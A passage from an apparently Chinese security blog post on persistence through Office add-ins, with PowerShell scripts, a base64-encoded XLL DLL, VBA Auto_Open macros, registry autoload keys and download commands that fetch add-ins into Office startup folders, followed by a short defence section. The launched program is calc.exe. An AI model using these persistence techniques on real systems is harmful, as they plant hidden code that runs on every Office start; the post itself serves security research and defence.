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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAA0AAAAAzAJMCowMjA4MEMwUDBYMGYwazBwMHUwgDCNMJcwrDC4ML4w4DDyME4xajEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
$fileContentBytes = [System.Convert]::FromBase64String($fileContent) 
[System.IO.File]::WriteAllBytes($env:APPDATA+"\Microsoft\AddIns\calc.xll",$fileContentBytes)

通过powershell判断office版本：

dir -name "C:\Program Files\Microsoft Office\Office*"

回显： Office14

对字符串截取，截取出版本号14，代码如下：

$OfficeVersion=dir -name "C:\Program Files\Microsoft Office\Office*"

$Ver=$OfficeVersion.Substring( $OfficeVersion.LastIndexOf("e")+1 )

加入异常捕获，如果系统未安装Office，返回提示信息：

Try  
{  
    $OfficeVersion=dir -name "C:\Program Files\Microsoft Office\Office*" -ErrorAction Stop  
    $Ver=$OfficeVersion.Substring( $OfficeVersion.LastIndexOf("e")+1 ) 
}  
Catch  
{  
    Write-Host "[!] I can't find Microsoft Office!" 
    Write-Host "[+] Please reinput a correct path."  
}  
 
Write-Host "Microsoft Office Version:" $Ver

拼接不同Office版本对应的注册表路径:

$ExcelRegPath="HKCU:\Software\Microsoft\Office\"+$Ver+".0\Excel\"

新建键：Options

New-Item -type Directory $ExcelRegPath"Options" | Out-Null

新建字符串值： OPEN： /R calc.xll :

New-ItemProperty $ExcelRegPath"Options" OPEN -value "/R calc.xll" -propertyType string | Out-Null

完整代码如下：

$fileContent = "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ZGxsAHhsQXV0b09wZW4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAY2FsYy5leGUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAA0AAAAAzAJMCowMjA4MEMwUDBYMGYwazBwMHUwgDCNMJcwrDC4ML4w4DDyME4xajEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
$fileContentBytes = [System.Convert]::FromBase64String($fileContent) 
[System.IO.File]::WriteAllBytes($env:APPDATA+"\Microsoft\AddIns\calc.xll",$fileContentBytes)

Try  
{  
    $OfficeVersion=dir -name "C:\Program Files\Microsoft Office\Office*" -ErrorAction Stop  
    $Ver=$OfficeVersion.Substring( $OfficeVersion.LastIndexOf("e")+1 ) 
    
}  
Catch  
{  
    Write-Host "[!] I can't find Microsoft Office!" 
    Write-Host "[+] Please reinput a correct path." 
    return 
}  
Write-Host "Microsoft Office Version:" $Ver
$ExcelRegPath="HKCU:\Software\Microsoft\Office\"+$Ver+".0\Excel\"
New-Item -type Directory $ExcelRegPath"Options" | Out-Null
New-ItemProperty $ExcelRegPath"Options" OPEN -value "/R calc.xll" -propertyType string | Out-Null

0x04 Excel VBA add-ins

1、手动测试

启动Excel，开启开发工具选项，选择Visual Basic

插入模块，写入以下代码：

Sub Auto_Open()
    Set objShell = CreateObject("Wscript.Shell")
    objShell.Exec ("calc.exe")
End Sub

保存为calc.xlam,路径为：

%appdata%\Microsoft\Excel\XLSTART

启动Excel.exe，弹出计算器，并且Excel正常启动

2、编写Powershell脚本实现

保存路径为：

%appdata%\Microsoft\Excel\XLSTART\calc.xlam

对应powershell代码如下：

$client = new-object System.Net.WebClient
$client.DownloadFile("https://raw.githubusercontent.com/3gstudent/Office-Persistence/master/calc.xlam",$env:APPDATA+"\Microsoft\Excel\XLSTART\calc.xlam")

0x05 PowerPoint VBA add-ins

1、手动测试

启动PowerPoint，开启开发工具选项，选择Visual Basic

插入模块，写入以下代码：

Sub Auto_Open()
    Set objShell = CreateObject("Wscript.Shell")
    objShell.Exec ("calc.exe")
End Sub

保存为calc.ppa，路径为：

%appdata%\Microsoft\AddIns

查找注册表键值：

Office2010对应的键值为：

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\PowerPoint

Office2013对应的键值为：

HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\PowerPoint

新建项AddIns，新建子项calc（对应calc.ppa）

新建DWORD值： Autoload： 1

新建字符串值： Path： calc.ppa

启动PowerPoint.exe，弹出计算器，并且PowerPoint正常启动

2、编写Powershell脚本实现

保存路径为：

%appdata%\Microsoft\AddIns\calc.ppa

对应powershell代码如下：

$client = new-object System.Net.WebClient
$client.DownloadFile("https://raw.githubusercontent.com/3gstudent/Office-Persistence/master/calc.ppa",$env:APPDATA+"\Microsoft\AddIns\calc.ppa")

注册表路径：HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\PowerPoint\

Try  
{  
    $OfficeVersion=dir -name "C:\Program Files\Microsoft Office\Office*" -ErrorAction Stop  
    $Ver=$OfficeVersion.Substring( $OfficeVersion.LastIndexOf("e")+1 )     
}  
Catch  
{  
    Write-Host "[!] I can't find Microsoft Office!" 
    Write-Host "[+] Please reinput a correct path." 
    return 
}  
Write-Host "Microsoft Office Version:" $Ver
$ExcelRegPath="HKCU:\Software\Microsoft\Office\"+$Ver+".0\PowerPoint\"

新建键AddIns:

New-Item -type Directory $ExcelRegPath"AddIns" | Out-Null

新建键calc:

New-Item -type Directory $ExcelRegPath"AddIns\calc" | Out-Null

新建DWORD值： Autoload： 1

New-ItemProperty $ExcelRegPath"AddIns\calc" Autoload -value "1" -propertyType DWORD | Out-Null

新建字符串值： Path： calc.ppa

New-ItemProperty $ExcelRegPath"AddIns\calc" Path -value "calc.ppa" -propertyType string | Out-Null

完整代码如下：

$client = new-object System.Net.WebClient
$client.DownloadFile("https://raw.githubusercontent.com/3gstudent/Office-Persistence/master/calc.ppa",$env:APPDATA+"\Microsoft\AddIns\calc.ppa")

Try  
{  
    $OfficeVersion=dir -name "C:\Program Files\Microsoft Office\Office*" -ErrorAction Stop  
    $Ver=$OfficeVersion.Substring( $OfficeVersion.LastIndexOf("e")+1 )     
}  
Catch  
{  
    Write-Host "[!] I can't find Microsoft Office!" 
    Write-Host "[+] Please reinput a correct path." 
    return 
}  
Write-Host "Microsoft Office Version:" $Ver
$ExcelRegPath="HKCU:\Software\Microsoft\Office\"+$Ver+".0\PowerPoint\"

New-Item -type Directory $ExcelRegPath"AddIns" | Out-Null
New-Item -type Directory $ExcelRegPath"AddIns\calc" | Out-Null
New-ItemProperty $ExcelRegPath"AddIns\calc" Autoload -value "1" -propertyType DWORD | Out-Null
New-ItemProperty $ExcelRegPath"AddIns\calc" Path -value "calc.ppa" -propertyType string | Out-Null

注：

以上四种方法的利用脚本我已经整合并上传至github，地址为：

https://github.com/3gstudent/Office-Persistence

0x06 检测和防御

1、Word

禁用所有加载项，如下图

Alt text

禁用所有控件，如下图

Alt text

禁用所有宏，如下图

Alt text

Word WLL依然能够执行

防御方法：

删除信任位置：

C:\Users\a\AppData\Roaming\Microsoft\Word\Startup\

如下图

Alt text

注：

添加时不能使用环境变量%appdata%

2、Excel

Excel XLL和Excel VBA add-ins:

防御方法：

禁用所有加载项

3、PowerPoint

PowerPoint VBA add-ins:

防御方法：

禁用所有加载项

0x07 小结

本文介绍了x86系统下Word、Excel、PowerPoint中常用的四种后门利用方式，开源POC脚本以便于测试，最后站在防御角度，介绍了具体的防御方法。x64系统的利用方法作适当修改就好。

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Written on July 15, 2017